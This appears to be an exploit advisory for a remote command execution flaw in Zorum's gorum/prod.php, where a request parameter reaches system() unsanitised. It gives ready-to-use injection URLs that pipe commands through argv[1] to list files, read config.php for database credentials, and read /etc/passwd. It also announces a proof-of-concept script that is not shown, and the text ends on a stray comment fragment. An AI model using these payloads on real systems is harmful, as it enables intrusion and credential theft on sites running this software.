1) remote code execution:

vulnerable code, in /gorum/prod.php file:


07  $doubleApp = isset($argv[1]); 

   ...
14   if( $doubleApp )
15   {
16      $appDir = $argv[1];
17      system("mkdir $prodDir/$appDir");
   ...

a user can execute arbitrary commands using pipe char, example:

http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-la

to list directories

http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.php

to see database username/password...

http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwd

to see /etc/passwd file

this is my proof of concept exploit with proxy support:

   make these changes in php.ini if you have troubles
   with this script:
   allow_call_time_pass_reference = on
   register_globals = on		                                      */
